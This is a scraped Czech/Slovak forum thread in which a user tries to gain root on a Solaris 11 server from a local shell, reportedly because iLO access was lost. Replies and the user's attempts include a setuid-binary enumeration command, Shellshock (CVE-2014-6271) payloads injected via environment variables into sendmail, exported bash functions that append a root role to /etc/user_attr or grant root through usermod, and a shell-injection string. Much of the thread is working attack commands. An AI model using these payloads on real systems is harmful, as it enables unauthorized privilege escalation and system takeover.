Portál AbcLinuxu, 14. května 2025 21:55
$ mojefunkce() {
> usermod -R root user
> }
$ export -f mojefunkce
find / -perm -04000 -o -perm -2000 2>/dev/nullTakto sa dozvies ake mas binarky k dispozicii. A podla toho hladat, ci neexistuje nieco, co malo dieru a da sa exploitnut.
$ env asd='() { :;}; id ' /path/to/setuid_setgid/binary
Neviem ci existuje nejaky local exploit na solaris 11 na tvoje aktualne SRU, skus hladat cez "solaris 11 local exploit".
localhost; /bin/sh ;
, pripadne zistit ci sa nerobi escape cez uvodzovky.
$ env asd='() { :;}; id ' /path/to/setuid_setgid/binarytak jednoduše nefunguje...
smmsp@solaris11:~$ grep smmsp /etc/passwd smmsp:x:25:25:SendMail Message Submission Program:/: smmsp@solaris11:~$ echo $SHELL /usr/bin/sh
$ injection() { > echo "user::::type=role" >> /etc/user_attr > } $ export -f injectionTeď se snažím z mého shellu spustit další shell pod rootem a z něj pomocí parsovacího bugu spustit funkci, bohužel se mi nedaří:
user@server-to-hack:~$ env asd='() { :;}; injection ' /usr/lib/sendmail env asd='() { :;}; injection ' /usr/lib/sendmail Recipient names must be specified ^C user@server-to-hack:~$ env asd='() { :;}; injection ' /usr/lib/sendmail user env asd='() { :;}; injection ' /usr/lib/sendmail usernic se nestane... Kdyby měl někdo nějaký další tip budu moc rád. S přístupem do serverovny se to má prostě tak, že zákazník vyhodil všechny lidi co tam měli povolen přístup a teď už cca půl roku "řeší" jak vyměnit to ILO. Je to prostě klasický bordel, předpokládám že někteří z vás ví očem tady píšu... Hacknout ten server z localhostu je pro mě asi opravdu nejrychlejší řešení. :) --- To check for the CVE-2014-6271 vulnerability
user@server-to-hack:~$ env var='() { ignore this;}; echo vulnerable' bash -c /bin/true vulnerable---
user@server-to-hack:~$ bash --version bash --version GNU bash, version 4.1.11(2)-release (sparc-sun-solaris2.11)---
Publisher: solaris Version: 0.5.11 (Oracle Solaris 11.1 SRU 1.4) Build Release: 5.11 Branch: 0.175.1.1.0.4.0 Packaging Date: November 6, 2012 12:13:44 AM---
user@server-to-hack:~$ X='() { (a)=>\' bash -c "echo date" bash: X: line 1: syntax error near unexpected token `=' bash: X: line 1: `' bash: error importing function definition for `X' user@server-to-hack:~$ cat echo Friday, May 13, 2016 03:51:13 PM EEST
-> cd SP/console
/SP/console
-> start
Tiskni
Sdílej:
ISSN 1214-1267, (c) 1999-2007 Stickfish s.r.o.